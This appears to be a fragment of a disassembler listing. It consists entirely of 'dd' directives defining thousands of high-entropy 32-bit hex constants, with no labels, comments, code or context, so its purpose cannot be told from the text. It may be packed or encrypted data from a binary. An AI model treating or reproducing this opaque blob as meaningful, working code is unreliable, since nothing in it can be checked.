		dd 410F241Ch, 2DB70379h, 0FFE95504h, 314AD0A1h,	17EA206Fh
		dd 12C8200Fh, 56278303h, 0DA52EF8Fh, 35E52EAh, 964CA14Ah
		dd 0BC536A24h, 0D53C2D09h, 0D28335D2h, 0D3A4F693h, 0A2575A9h
		dd 0A3CA7FD5h, 445A17CBh, 61282662h, 0AF3A4059h, 94FA2374h
		dd 21C224Fh, 548FE922h,	5281E44Bh, 400C444Ah, 88C2504Ch
		dd 1E583966h, 40EC4074h, 181285E3h, 720F975h, 97C62BF2h
		dd 0D14201F4h, 408F61F8h, 345E06A4h, 2A80EF08h,	0B0D7FF34h
		dd 0EB3B0B36h, 33023274h, 58339208h, 23320B2Ah,	0CBF5553Ah
		dd 0D24DDEFBh, 73C6BA44h, 5F10581Bh, 5C42476Ch,	9AD8B81h
		dd 2044E685h, 53EBC39Fh, 4CF72595h, 4386A610h, 3C7485B2h
		dd 0C7846187h, 7DFB87AEh, 583F6F8h, 0CDF72BF6h,	0A1CE8BD6h
		dd 88CF3A91h, 0EB0BFCABh, 82BB090Bh, 718995F6h,	7C623DB3h
		dd 0C62411A4h, 0C900B8BEh, 3FA2D75Bh, 6A5D44ECh, 0C1105F8Ah
		dd 3BA466E8h, 3326B8BCh, 7D881B1Fh, 2716A6AFh, 0BCC72224h
		dd 0C92089F4h, 2A4086D7h, 2773F03Bh, 0CCA801Ah,	46C6B700h
		dd 0A1510A05h, 78872E24h, 0EB051CAAh, 0E2538DE2h, 661462AFh
		dd 0C34FF7Eh, 968BF8BAh, 5A291AC7h, 0CB950ECh, 0DD8D5830h
		dd 0A3ADB825h, 2E1CE896h, 0EE027C32h, 40477C39h, 0C4BF527Dh
		dd 84909BD1h, 31AF90D6h, 588338A0h, 7158980h, 27F888Dh
		dd 801873C1h, 8082460h,	0F8B0940h, 0C1812CC0h, 35E47DA9h
		dd 7C4A08D6h, 0D8F1BB5Bh, 69330A12h, 0E2DF7E38h, 8B377E03h
		dd 298B8A36h, 2E98F554h, 5475080Ah, 9C30A60Bh, 1CD16AEAh
		dd 0AFCF93C7h, 0BE87D7Dh, 61086389h, 47D84888h,	0C3758345h
		dd 7CFE3B09h, 0ED5188BAh, 0FFD83CC0h, 934748Dh,	0DB854D75h
		dd 81040102h, 0F66AB5E0h, 55A0585Eh, 89484BC3h,	92F5C95Eh
		dd 0A93734B3h, 17E838CFh, 4E67AE57h, 8489BC0Ch,	0D1883E89h
		dd 4E802506h, 0BC0F6A42h, 0A6C036Fh, 0FBF70817h, 43010D79h
		dd 7C03FB83h, 0B94DFF9Bh, 52386E91h, 44BE50AAh,	56B06897h
		dd 30321D43h, 95F43958h, 17084891h, 56EFFC95h, 2DE3ACCDh
		dd 498DF640h, 5682AF04h, 108833E8h, 32BEF0ACh, 2734443h
		dd 68DF087Bh, 0F48D616Ah, 4F919076h, 45D2B08Fh,	655563Eh
		dd 54FF106Bh, 5E5D3218h
		dd 9A810B85h, 823C7833h, 1E8534Dh, 662C6495h, 1A563D04h
		dd 8313643h, 20016A6Fh,	0E8F28FBFh, 2023B96Ah, 0CACE63Ch
		dd 7BE9FF79h, 34671B47h, 0B8A1EBA1h, 8E8EF1ADh,	155932F6h
		dd 0FF6A5D83h, 94F68010h, 6F2F5DCDh, 55C93DB2h,	0BDBC9C7Ch
		dd 1C418C29h, 0E8180850h, 25D153E8h, 7D98C228h,	0B146F8A1h
		dd 266F2C77h, 4B2A9E13h, 6F70643Dh, 6821E4FBh, 0E87FFC63h
		dd 0A10B1618h, 59A14950h, 9D0833F7h, 9762161Eh,	0A4667074h
		dd 0D5EAF1CDh, 0D8B87E82h, 66987572h, 0C0B30B5Bh, 0F12D8422h
		dd 0E6F58056h, 0A2963B03h, 1C27831Bh, 6D758501h, 0E3D9A9FCh
		dd 22911D0Dh, 0FA8114D7h, 0F1186476h, 9B2BB52h,	0FE8F244Ah
		dd 90A3B384h, 0C9C9AB4Bh, 1B641811h, 5FE801FEh,	5AE92F8Ch
		dd 0FF571344h, 841BDE1h, 18E33AE8h, 0CC59400Ah,	2952763Ch
		dd 2750661Ah, 84199027h, 1C835C0Eh, 7E036A1Ch, 85606899h
		dd 9D5DF057h, 10C425C4h, 858AECAAh, 56484468h, 3711A109h
		dd 710CD5A8h, 5140680Dh, 8A8BFB1Eh, 0D4DCB619h,	243217A1h
		dd 106820E9h, 11A60120h, 28A918F6h, 63FD2BB1h, 0EB5F2C04h
		dd 3C1CBE26h, 0A19F31EAh, 9AE8367Fh, 13BFB549h,	0CFB2F426h
		dd 78FCCD76h, 98A84BE8h, 1F21AAD2h, 0B3524DE8h,	82A6DA59h
		dd 878AF7F5h, 92722F9Eh, 1850C779h, 1169EB1Ch, 0AD2F0F1Bh
		dd 13053214h, 128B8F23h, 4618314h, 0B80189CDh, 30F3930Dh
		dd 1CA7225h, 1F42697Dh,	16321E6Ah, 1F2FA20Ch, 418448Ah
		dd 30C34022h, 561BA0A1h, 0BAC2146Ah, 7C07755Eh,	0BA8149B1h
		dd 7A7DC63Bh, 1AA3590Ah, 54E0D225h, 0FD59C07Ah,	3DC1B12Eh
		dd 65114811h, 99C45626h, 61E81C05h, 0B760193Dh,	0C6E8111Ah
		dd 520449AAh, 158B12F7h, 7FC34EBh, 3D20C0A4h, 0A7897EDAh
		dd 0B305EA2Fh, 1D0E78B9h, 51F249C2h, 0ECF2A608h, 23B9F00Eh
		dd 83EA1B34h, 62CE09B0h, 81422006h, 155D8F9h, 0C35ED47Ch
		dd 8FB5C0E8h, 573D80B0h, 574C290h, 16662FE9h, 1275511Ah
		dd 325075AAh, 0B726EC97h, 24B65450h, 270693Ah, 0C039779Dh
		dd 65088835h, 0FA8D3658h, 6365B80Bh, 5409FF5Bh,	84C169EEh
		dd 4E36BB0Ch, 0A63E57CDh, 999D76F0h, 1C38067Fh,	34F70D89h
		dd 2E4E9F73h, 0F91B8021h, 49A11818h, 804EB058h,	3E75C33Fh
		dd 70E4C2C9h, 565E2795h, 489489E4h, 7E622817h, 50FB5004h
		dd 9F561C1Dh, 1538199h,	7B19102Ch, 26AE941h, 4445A358h
		dd 0A1249D88h, 958A1CD9h, 49D6A105h, 50E56BF1h,	9FE93421h
		dd 94C92139h, 9F0BE677h, 8E0E6C3Ah, 84992D34h, 6C383F20h
		dd 40DF8C18h, 6374AEF1h, 8D50043Bh, 0C913AF3Ch,	9511B4B3h
		dd 5BF938Ah, 0AC57DC7Bh, 4AC658ADh, 9F0B2CCCh, 0C658BB3Ah
		dd 61BBA99Dh, 948A29C0h, 4D6056E0h, 0B1561D3Ah,	501425A7h
		dd 0EE083595h, 8DE39092h, 0BC9FCC65h, 5F29AA2Dh, 0A7C15C2h
		dd 19B9F609h, 912A01F1h, 2C908D40h, 73C28254h, 25D0561Ch
		dd 35AC58FEh, 61F1EB09h, 62F22B5Bh, 2DE5541Eh, 544DA066h
		dd 0FD473C3Fh, 4AD92048h, 0EBC55C20h, 0E018B543h, 8A4B32E8h
		dd 3833A432h, 9ABD0C8Dh, 8C55297Eh, 9614AF03h, 101179ABh
		dd 1FEBD603h, 7EE7C1E8h, 95FEDF25h, 0C5AA5427h,	57269856h
		dd 0E752732Dh, 14FF6F55h, 362E8431h, 93FDE9A0h,	5F1EF29Bh
		dd 1040EDF8h, 8870E708h, 78BFB053h, 0F50ACEEBh,	0F61203A8h
		dd 81240108h, 1C89078Bh, 5B042030h, 0A5779F95h,	0EEC87544h
		dd 0BC55C40Dh, 163CE215h, 0E389074Bh, 83371340h, 4A17B038h
		dd 1F8F7332h, 0C82BAC19h, 380749F4h, 619D5010h,	8383433Dh
		dd 33D9300Ch, 2D961BC0h, 9F734516h, 7AF62213h, 0DCD6E701h
		dd 215F269Fh, 3D1C723Fh, 0D0F93D41h, 0E2837985h, 0D13F721Fh
		dd 0E0257402h, 0B9FF9930h, 201584D7h, 2FCBFF10h, 2791289h
		dd 64495723h, 0BB1C5952h, 568B005Eh, 5780C1F6h,	281AD597h
		dd 74E8A940h, 0EC0A0963h, 10FFF9C6h, 76809030h,	0B82FE165h
		dd 1FB8CEE6h, 4049FE65h, 40C5F611h, 539C0C2h, 0F569EA60h
		dd 2405E4ABh, 0C1BC006Ah, 2BC6235Eh, 2D4A9498h,	150692EFh
		dd 8958835Ch, 0E97AA11Dh, 8FCA867Eh, 2523F46Ah,	8F091014h
		dd 0C5072840h, 0F193AE80h, 267499F8h, 50200A9Dh, 20303D18h
		dd 0BBC4CB0Ah, 0EBF01B03h, 0E845943Ah, 0C13C877h, 0BC4675BEh
		dd 0BA7079ACh, 208F0752h, 0CA231304h, 0C8CB30BFh, 0D8BD357Fh
		dd 7ACB7456h, 4CCF782Ah, 525DB21Dh, 113C647Ch, 6E22F403h
		dd 952DF4BFh, 373248F8h, 2E110413h, 66FEBEBCh, 57054729h
		dd 0C3061A44h, 0CA3B0911h, 3EE90EE0h, 54230A4h,	8FEC072Fh
		dd 5FED0B97h, 0C785FEE8h, 1513743Eh, 5ED49C0Dh,	921464E4h
		dd 0E871B538h, 0B540A80Ah, 52258117h, 0FCF6104Fh, 0FBB0C492h
		dd 0C2F74E0Bh, 15A90841h, 0CC0A5E87h, 0CAB0624h, 0FC69E8C0h
		dd 634BBED3h, 0DFDD04CFh, 0F26C4EC5h, 3EEB8818h, 41C06A5Dh
		dd 30B83B9Ch, 2CF0B896h, 7864E2F4h, 6D91BE53h, 5B695612h
		dd 0AE1B75C4h, 0AED68CA8h, 0EEA70C71h, 0C72FB42Dh, 9A277DF9h
		dd 669C8A6Fh, 6F950916h, 7808A722h, 0F98261DFh,	9C458A59h
		dd 0CB85F34Fh, 7798010Ch, 0B452C88h, 0F38FD27Ah, 69F848EBh
		dd 78750413h, 545E1CAFh, 23BF9F6h, 276A6E1Dh, 0E3EEDDA2h
		dd 8C6F0C11h, 0E277596h, 0FDEB4481h, 4D74DD83h,	6E2D3FEBh
		dd 0DEA64213h, 52501830h, 8986E1CFh, 0E02B16A4h, 2C821A5Fh
		dd 0EF7C2CCAh, 2707A76Bh, 0B22F7612h, 50B99E22h, 1C10D775h
		dd 3E69ADDCh, 19658270h, 86AB0B68h, 84EF5A6h, 0F40790C3h
		dd 20AA0BAAh, 0F3A70FF9h, 92F525FAh, 0F1ADF77Eh, 3AE8CC72h
		dd 0F0129F91h, 0D0F7A143h, 80F3A23h, 0FB0B14E7h, 2FB5A786h
		dd 9D460FBDh, 9503D82Fh, 8C31276h, 0F7C63925h, 8B875EDFh
		dd 3113B8E8h, 828DAF8Dh, 0A055A692h, 84B057FAh,	58106A19h
		dd 0BD210412h, 380EF4B7h, 8B10C0BDh, 902008CCh,	20A15B01h
		dd 0C06A5D71h, 56CBB761h, 0BED18B1Ch, 0BF93322Ch, 0D6236620h
		dd 847599BDh, 0C9FA811Fh, 9114E198h, 0E740811h,	0B75D63Bh
		dd 488EC729h, 0BB82C5A9h, 0C1DFCC80h, 0D4415EC8h, 0F046CD3Bh
		dd 8B62BD8Dh, 5F6E4D0Ch, 0C7F65D05h, 5A5A5B10h,	51921478h
		dd 946E7B56h, 1D8A2D6Ch, 1024F298h, 208F0108h, 908DD4F7h
		dd 29CF94A2h, 0CA8888BAh, 0AA1D65BEh, 6A04B735h, 0D6C8CE3Bh
		dd 0F80D6575h, 0AB7C60Ch, 48648E7h, 18AB5AD6h, 0C745F90h
		dd 41514FDAh, 1D2A0B2Bh, 5EC20A23h, 83832050h, 104B248Bh
		dd 89DF6931h, 18437D37h, 0F0EB1FB3h, 6F101F3Eh,	0E17D416h
		dd 4383CA2Bh, 0F0E2D3FFh, 0F1485D2h, 461C75B0h,	7D03FEA1h
		dd 0EFC57111h, 963338C3h, 0D6C01C0Eh, 0F27C2A23h, 82799DBCh
		dd 899432A0h, 0E2BE9634h, 4D886891h, 782045BDh,	1F2EC6B3h
		dd 0A4CB5559h, 301D7D3h, 2B9DE837h, 4E83BAF8h, 395F1C78h
		dd 409904B5h, 1D862F01h, 7B98A16Fh, 6AE74E82h, 56B9FF09h
		dd 0D4B5A70Ch, 59BA3234h, 30AE645Fh, 0C3CF015Fh, 0B4A6995Eh
		dd 36A3C85Fh, 5E341448h, 0C312AB8Ah, 112428F1h,	5AF20A2Bh
		dd 12BCCE8Bh, 215E0485h, 8E1EFC43h, 0FDB614h, 0A6D90E8Bh
		dd 670F4E14h, 0B94DFC50h, 2C12E614h, 212F65FCh,	96C04AE2h
		dd 0A897C13Bh, 0C814FF40h, 0DA82289Dh, 4E820DB5h, 8928EA2Eh
		dd 546C8B4Ch, 1230BE38h, 41013489h, 0F5754A06h,	94897B5Eh
		dd 0CFB8CF55h, 1F89BB92h
		dd 420D2648h, 24F92341h, 0D054E9D3h, 0C222CF23h, 5B087D12h
		dd 997609FFh, 0EED8A90Bh, 0CF040345h, 0C20C8AAh, 4BD5D8AAh
		dd 2E80D49Dh, 0F8DA2BE6h, 0A007F0D6h, 0ABCE23E4h, 0E8231BDBh
		dd 20D63E0Bh, 0CB1892EBh, 4E4413B1h, 0EE0511BEh, 98DC7519h
		dd 5BBF60F4h, 8EAF7ECh,	79E05958h, 7C2A75B8h, 0EEFFC20Fh
		dd 40BBE5Ch, 0EB296110h, 83AF67BFh, 0D54B55C1h,	0E079F8E9h
		dd 646E7997h, 84ACBA18h, 48EA0792h, 0C5D9F40Ah,	0FDFED430h
		dd 6647E10h, 20DF40Ch, 0B416C330h, 0C30D8110h, 0EBD9307Fh
		dd 1E443FD9h, 24CF86AAh, 0C001FB13h, 0FC177EADh, 0F47A8075h
		dd 63B5F633h, 31F2FC1Bh, 6D38B35Eh, 0FEC52429h,	7DD05902h
		dd 12C1E929h, 93E46BAFh, 2A2D72B7h, 45220877h, 0E6F87B1Fh
		dd 0EA430185h, 16E6C110h, 4B134F2Bh, 1D0CF10Ah,	5900A991h
		dd 0D83B3CEBh, 2B483F7Fh, 7FB65E54h, 59763164h,	14945613h
		dd 0D4B14BAEh, 298606FDh, 1524400Ch, 20285994h,	7CE93198h
		dd 0D91F3B47h, 56175228h, 0AE0C31A4h, 10481094h, 778B8B6Dh
		dd 34AA277h, 0E9A24037h, 1F56FD52h, 28E7B025h, 5227FF7h
		dd 49E8F303h, 1F34BFFEh, 9E18C194h, 90107F38h, 7C05B794h
		dd 60C4EEF7h, 30415EC9h, 75CAF10Bh, 40FF4340h, 2ED2ED90h
		dd 77F83649h, 0C727D0Eh, 20240A6Fh, 0FE057522h,	8B6C9131h
		dd 0A3C2F068h, 532214FDh, 0C47C9F82h, 3C87082Ch, 25938E6Ch
		dd 49F4F62Fh, 0DAF1D42h, 984D595h, 72F2EA0Eh, 0E33E0C41h
		dd 0C9241455h, 43DCFC2Dh, 7A95880Dh, 7727A7DEh,	385B8A2Fh
		dd 80BD4AEBh, 0C6017E54h, 8530060Fh, 29C7EFDBh,	5E87D51Fh
		dd 44549933h, 1DE65EADh, 14151BEh, 10885A30h, 0EE41FF40h
		dd 6FA7E975h, 50C76178h, 7F7B127Ch, 0AA0DDE04h,	0DF7A07C7h
		dd 1C6BF02Fh, 3EFEF5EBh, 18313E18h, 47C42FFh, 0E8571205h
		dd 52FB7F22h, 0B99CF08Ch, 10258642h, 5671437Eh,	57A30A2Ah
		dd 84FC79Dh, 37E4591Fh,	6068173Ah, 27A09884h, 8B41C311h
		dd 668BA5FCh, 0F3F4E899h, 88A3381Bh, 187C282Fh,	62053787h
		dd 0B80F615h, 0BF7D5F7Dh, 84EB2EA3h, 0B3C70B3Dh, 28640D8Ch
		dd 951CB809h, 0A5203A73h, 661E5899h, 0BF064282h, 0BF22D5FFh
		dd 0CF6425C8h, 16F1C14Ch, 245BCF23h, 1234C72Eh,	0BED9D0C1h
		dd 0C780FB92h, 0ADCFBA23h, 74091576h, 28375C13h, 4FB97028h
		dd 0BF3B923Ch, 21EEE964h, 12476FBEh, 0E45D347h,	88EF1F94h
		dd 0CDE66C1h, 4E4BEB4Ch, 0E6D88A01h, 0AECB8A98h, 0B080715h
		dd 0ED43C816h, 0E28D836Eh, 1D4BFDCh, 5DCECB82h,	3C7C60Eh
		dd 0C1DA40C9h, 0B021FEBh, 120C8DD9h, 81408389h,	91E044C7h
		dd 0DFEB26CBh, 0CF0B8C13h, 85B489Ah, 20642F3h, 369CEEE8h
		dd 0E8386C9Dh, 2E6CBD06h, 0E211443h, 77E9834Eh,	0A14A15CCh
		dd 2B4DEA90h, 13401424h, 7362EF6Ah, 821C7809h, 4B01D216h
		dd 6868C35Eh, 3C41DFC1h, 501C2229h, 0F8C318A3h,	120FD035h
		dd 0C370C8DAh, 264C6D91h, 3C1B9518h, 8F67427h, 80D81C38h
		dd 0C1E98511h, 344F14A0h, 0E80A6A04h, 2087EA5Ch, 0D3741677h
		dd 0E56EE5EAh, 986BE403h, 74BB20D6h, 0F242AB96h, 5D391574h
		dd 0B9952863h, 0A5F54AACh, 0EF56946Eh, 0AE184C0Ah, 398B17A4h
		dd 3011751Dh, 3C4F6513h, 660716D5h, 38981DF1h, 0EB58DA01h
		dd 8DB2E15Bh, 0C448BC93h, 60ADA14Dh, 7E97005Fh,	1045392Ah
		dd 33322FF8h, 0F708AEC9h, 0C47F8342h, 0A9565B2Bh, 0A011B45Eh
		dd 9D75182Dh, 1E057255h, 96015E38h, 0EA6CEA93h,	3EFCD184h
		dd 0A3504576h, 4EB3FDCh, 49EA79C2h, 0A9F6CA4Ah,	776A0EE2h
		dd 3FADE299h, 74EB6F85h, 0B9A2AED7h, 80C0A4D3h,	7340F90Ch
		dd 0EB200A15h, 19A53960h, 48E0D3C2h, 9EC8BFD0h,	0E2921FE1h
		dd 0D2A4F487h, 0B5FECE3h, 97F6566Eh, 2039DCC9h,	0F085A96h
		dd 20F3278h, 7E832E03h,	0D1EDEADCh, 0C1EF631Ah,	463B0340h
		dd 9009F9FFh, 140F0428h, 0F6CD8940h, 1174D858h,	300EFF35h
		dd 0F351BB8h, 0E6C8AE23h, 8811A0C3h, 7993DF18h,	0EF240489h
		dd 0AB4F65DEh, 0D995FC3h, 50B841E1h, 0B2432E97h, 1407E80Bh
		dd 0E05FF21h, 0A451C316h, 0ED4A330Eh, 0CC6826C1h, 0E870122Eh
		dd 982D13E9h, 1D8B1A5Dh, 0C82ACC8h, 7FE888B8h, 0B9A3124Bh
		dd 2F02F524h, 0A0681D68h, 58883B99h, 0E05D2511h, 0C80212FDh
		dd 0FD48A126h, 6B0DF418h, 663C06C0h, 15E62D39h,	0A35A43A0h
		dd 15462050h, 32FC52A2h, 0F66BF100h, 0ABC6033Ch, 3A473014h
		dd 0A11B74FFh, 3B0F4863h, 2B12C8C5h, 0BC50D3C1h, 0A3404067h
		dd 0EB112862h, 108A880Ch, 0A7E80C37h, 218B63E9h, 50E7818Eh
		dd 0BF3F6A55h, 0AC4A332Fh, 6853330Ch, 0B757BBA4h, 156A7171h
		dd 586C390Dh, 81A1E502h, 3F60801Eh, 0B089294h, 0A045208Ah
		dd 0B05ACA3Fh, 0E4F8913Ah, 13FCB04h, 0E8413E10h, 0A133457Eh
		dd 0E94231B0h, 0CD1DAC2Fh, 26426438h, 624CA145h, 616011B2h
		dd 764F6CE8h, 45343C36h, 1B96A00Ch, 7B6CE87Ch, 5C31362Ah
		dd 5F9FF17Ah, 0C6516703h, 1CA3C58Ah, 0A51B792Fh, 7923A202h
		dd 35178F09h, 55929FC4h, 0A50C54E1h, 3C63483h, 7640AC5Ah
		dd 0F62DDFCBh, 5F468C07h, 65A0CB94h, 0B6B830B3h, 0FFC96925h
		dd 3E894141h, 0B7BB0C9h, 9E892B43h, 77C3E83h, 37F39C0h
		dd 0EFEB461Bh, 4E75E962h, 9D5C22E3h, 314244AAh,	0C8032722h
		dd 2B142FB2h, 2322F342h, 281B7245h, 0C4FD3B86h,	19D9F729h
		dd 22457C25h, 0BD91A4C4h, 0B90A2DE2h, 9CE8C243h, 272969DCh
		dd 0B684E3A2h, 35B16CA2h, 0C5246A20h, 3A778DFFh, 37122C84h
		dd 4C8859ACh, 0D948EAA4h, 0A4015B13h, 0B8053B14h, 220C1943h
		dd 1CA1C810h, 5A3DB402h, 189C2D89h, 0B7EC20CCh,	35920D7Bh
		dd 2A665133h, 1E59C438h, 11910944h, 4340C842h, 15221D75h
		dd 1357503Ch, 421BA63Eh, 5350053Ah, 146214EBh, 4E159B57h
		dd 0B105FA4Ch, 6004010Eh, 50B2F205h, 0E4C52C33h, 25501532h
		dd 0EE0899F0h, 3284EC1Ch, 0E8152875h, 130A5725h, 0E6641BEAh
		dd 8205FA25h, 0D8BF5753h, 0EB2B2C8Ah, 57141F42h, 2128DE20h
		dd 0DD78EBFAh, 26A02C6h, 87534F08h, 90FC4CDDh, 0DD125FD0h
		dd 0A94051Dh, 607B8844h, 0BC158B58h, 0A1370E92h, 4EB00BCCh
		dd 3AD03B1Ch, 0CA041E7Dh, 0F1BF8C0Fh, 0E0C8F104h, 8A0B78Fh
		dd 28DF7ECAh, 511A7D09h, 14633A12h, 2410F67Ch, 3058F27Fh
		dd 8A952A40h, 2A4E097Fh, 414C404h, 0DF062D06h, 3804B093h
		dd 0C9330F75h, 0B36F4BBCh, 0FFC19D24h, 0F28B51Dh, 9C32D042h
		dd 0E6F7EF1Ah, 10014430h, 38015658h, 0D63F4189h, 83391A2Ch
		dd 0FE03AC65h, 0E2D5126h, 2E86EA3Eh, 0B09EB0Ah,	0EC81FAA7h
		dd 4578B5D3h, 6DD26911h, 18FFFC79h, 30F8C157h, 73B6AF9h
		dd 8412FD03h, 0BFC0253Ah, 0A0F7995Fh, 0EE18458Bh, 1C55083Bh
		dd 7030E7Dh, 0F703C22Bh, 1C81DDA9h, 590AEBF9h, 8279210Eh
		dd 750518EAh, 0F6F27D38h, 0B68B080Ah, 61B61D4h,	1BDDE10h
		dd 207ECE3Bh, 0FD07E983h, 0FF89541Bh, 509E84Fh,	8133850Ch
		dd 7F134007h, 404D6403h, 0D60CFA7Dh, 9824422Bh,	3EBC5DA7h
		dd 7528AA99h, 2C0C18B8h, 12C5FDACh, 0F921A330h,	2B5255EBh
		dd 68116CCh, 43627205h,	966D02Bh, 0D7050D79h, 5049DF61h
		dd 0BA11EB0Dh, 74F09F84h, 41B70E50h, 461213AAh,	0B69429E6h
		dd 0C2E5DAA8h, 9746DF5h, 2677B60Fh, 4B244C4Ch, 175FE284h
		dd 1CB11C75h, 0E26AE7Ch
		dd 4504041Ah, 2327B07Ah, 46E73EDFh, 1752FA2h, 512533F9h
		dd 97540816h, 0F9EF4264h, 6774B1D4h, 921AA3Eh, 566EF468h
		dd 0A3AF223Ah, 50742A80h, 11A4E468h, 8A0D0F0h, 2BDB58A3h
		dd 285CBB1Ah, 0BF0CA10Fh, 0D0FF2268h, 0C5247A9Fh, 215CA1F2h
		dd 44530511h, 28FDBE12h, 22650490h, 0AE4E1215h,	5AEB61C8h
		dd 0D293BCF8h, 0CAFC30Dh, 0E07F837Bh, 0D77DEE8h, 4BD2D3BDh
		dd 778710DDh, 1D3B2F2Ah, 0D447276h, 0A6A7D0C1h,	0BAE3576Eh
		dd 0B8B5F14h, 0DD086A56h, 752F2EBEh, 0E4ED7422h, 0D4910B19h
		dd 0C085131Dh, 0B9EB14A3h, 2B70DB0h, 106D8904h,	0C7568B0Ch
		dd 10D5F7Dh, 0D5F6C203h, 4443A9ECh, 40F62FC2h, 0DFD41D5h
		dd 7376C27Eh, 28A0ECD5h, 15894701h, 24177C14h, 0B0340B7Fh
		dd 0D2A809E8h, 8359870Dh, 0AF16EE24h, 0D7BCA072h, 6EB85EB9h
		dd 7517DD21h, 9C8EF05h,	5A38B033h, 21CBB31Dh, 8EF62D15h
		dd 7944F6F8h, 0FB014EC8h, 0E38D889h, 0D200C24Bh, 3008641Ch
		dd 240222EBh, 2ABE2DD6h, 38D22A45h, 7EF7A22Bh, 474DDE6Fh
		dd 0F009AE8Dh, 9FE8C8FFh, 447D826Ch, 0AA66C479h, 9EA3FE0Bh
		dd 85930C29h, 817DF83Bh, 4950C739h, 3E15DF2Ah, 8552DB2Fh
		dd 4A430874h, 0ECD7EB18h, 9936FE8h, 137C0A2Ah, 2523545Ah
		dd 5C6B3BE4h, 9B25E9Dh,	3DD87D40h, 56441189h, 852F0C92h
		dd 7C6A12EBh, 31453A16h, 1ABA2BC3h, 6377087Bh, 154829ECh
		dd 3FD14945h, 8122C4A7h, 602083Eh, 607DD0B2h, 9F0DEB74h
		dd 129535B4h, 13095DEBh, 9DCC59D7h, 0F32178Dh, 9D67254h
		dd 0A87A73A6h, 5E1033C1h, 0E77F0A89h, 527C2575h, 83375ED0h
		dd 0EDB4CB71h, 3FBC960Dh, 0C75A9058h, 0E830F1A6h, 3145CB7h
		dd 7AA71FDh, 4C77F717h,	0B98F9F31h, 8724DEC5h, 8C4BFD64h
		dd 0F030BC56h, 0CEECEF78h, 89F63C03h, 3F348D80h, 0B1FE9C1h
		dd 0D89DF17Eh, 3ED77F65h, 0EABE0470h, 0BBE1D193h, 2E73BA34h
		dd 0CF367E50h, 0F9CBF25Eh, 0E93AB88Ch, 89CE0B19h, 0E7F1081Dh
		dd 0EA3F19BFh, 4056CF36h, 0B2D7FEE7h, 4A8CD0E3h, 3302490Ch
		dd 561223F6h, 404E7DE0h, 13728940h, 6045330h, 5F517608h
		dd 0F3C9E457h, 0F07D8D0Eh, 89F93FA5h, 11FF70E8h, 0DA76A66h
		dd 0D2FDCB5Fh, 5A10A402h, 0AED18456h, 0F1BC8E6h, 3C4280BEh
		dd 44E12521h, 0D61C75C8h, 18F0B83Ch, 5FC8B675h,	13ACDE39h
		dd 0D53FF28h, 89DBE0AEh, 71A84351h, 0EBEEED6Ah,	12EDE1F3h
		dd 74DB5D2h, 4CFFF481h,	1603FE73h, 0A2BED3EBh, 64CC7C82h
		dd 8BF49610h, 8E8A3D75h, 0E2662DF9h, 25D75EEDh,	0BDCE0A80h
		dd 1AE25C5Ah, 0A4EE1032h, 6025FA5Eh, 0BD5AC087h, 0E84E1064h
		dd 8B06B1B5h, 0E0DC4006h, 0D002D481h, 0F808E404h, 5EF5EC1Fh
		dd 208B46EEh, 9750B74h,	0D2CF0A41h, 800D0505h, 0E7EB47F6h
		dd 5E16DBB8h, 6B001F8Ah, 870F0BF8h, 817AB477h, 0EFD48524h
		dd 0FB8E4041h, 0C617C31h, 77F390Ah, 65E9B160h, 0FE3A311Dh
		dd 7F1E7D36h, 6F464505h, 2B07E1F2h, 1B481E74h, 107D7B8Bh
		dd 9502D445h, 379869ECh, 48D85BA1h, 0EB2558CEh,	366B54A7h
		dd 9E681221h, 0F006A29Fh, 29A5057Ch, 274BAE7Eh,	66291357h
		dd 0A318A22h, 2C402D75h, 8052F430h, 8E140F43h, 8180289h
		dd 19127E45h, 0C7B1C63h, 608FF265h, 66A1372h, 0CFB2C8E9h
		dd 0B784F78h, 0A610C068h, 4C590964h, 189A2556h,	19DA5958h
		dd 0B594069Dh, 0C28B2847h, 0FD21D8BFh, 0DBBC1539h, 8FFC7E92h
		dd 8BB1C32Ch, 0D9CA98D4h, 0EB25C7D0h, 7A68560Eh, 9AB4AFFh
		dd 4DCF6D6h, 17107319h,	800DE2F9h, 0E60C30EBh, 0D78642DFh
		dd 0BF2A232Ah, 0E50BB7A4h, 3309AA67h, 70F613C2h, 6BFD85Ah
		dd 0D6B75DCh, 0A2C37EEFh, 71F35628h, 43DE6388h,	4D11231Ch
		dd 47E8A08Bh, 4023B949h, 64860AD4h, 4601122Dh, 84EFD5E9h
		dd 61EDD15Eh, 0D3DC0288h, 7E27EF6Eh, 8D57EBA0h,	8CFE484Fh
		dd 8CA31592h, 0C83B4489h, 6B64488Ch, 6A830BDEh,	2965EB08h
		dd 14CDE0B2h, 0F68C8305h, 8C240F67h, 6C6AAFF2h,	13E98F0Ch
		dd 290A63EBh, 210E0E7Ch, 406A097Fh, 0B8E94F58h,	827591FDh
		dd 0C1EB4475h, 7488685Dh, 0DAB5D92Ah, 0DBBBB7FFh, 9FC014E6h
		dd 8345F5FCh, 74C41FEh,	0A289E958h, 8142085Eh, 664F0A1Eh
		dd 0AFCB3A80h, 69E94A88h, 0DF2F256Fh, 7F1B880Dh, 4A33A098h
		dd 0F123BDF6h, 8B1A9716h, 491D71Ch, 1CCCFB6h, 1450FE81h
		dd 0C37F7A94h, 512DBECEh, 52B12E19h, 0CC114A1Eh, 3811A996h
		dd 78CE4FD0h, 2F2B9FF7h, 387E190Ch, 10D9A4A1h, 4858186Ah
		dd 7600A839h, 0BB7D8015h, 33D7C05h, 0F195F6FEh,	48F4096Dh
		dd 0FDEB21A7h, 0D122213h, 55A5860Fh, 2F331C2Fh,	37B2D471h
		dd 0C0B3C0F2h, 0B5B7B250h, 6AF0DA0Ch, 8554DCB5h, 0BAC933E4h
		dd 315D054h, 0D8F7027Dh, 14486503h, 109586E0h, 81DC1840h
		dd 3D1CE02Bh, 7E27C2A4h, 26E67530h, 2EE7BCB2h, 55065259h
		dd 0D4C824E7h, 33600265h, 0BC5EB8DBh, 0B0DEC4A5h, 0EC4EC473h
		dd 5EEB4102h, 1F2CB03Dh, 219FF95Bh, 0D45FBCD0h,	0E87D044Fh
		dd 3C22E9A4h, 0C292E455h, 0CA18C608h, 0D2B5EBFBh, 0F6B1A072h
		dd 0AB9596DEh, 493990Ah, 44BF1508h, 170F5226h, 4DC287D0h
		dd 0E3C00B08h, 7139895Fh, 2599706h, 0A419A06h, 0A2EC5D92h
		dd 8FA1112Eh, 3EDCEB9Dh, 58430967h, 0C8226D11h,	44ED3F20h
		dd 9E89BF75h, 2EE2311h,	19D9260Dh, 45AA31BDh, 0E09F5D3Bh
		dd 0E4BEC827h, 91129F73h, 8566B840h, 0C857C93Ah, 8CC3223h
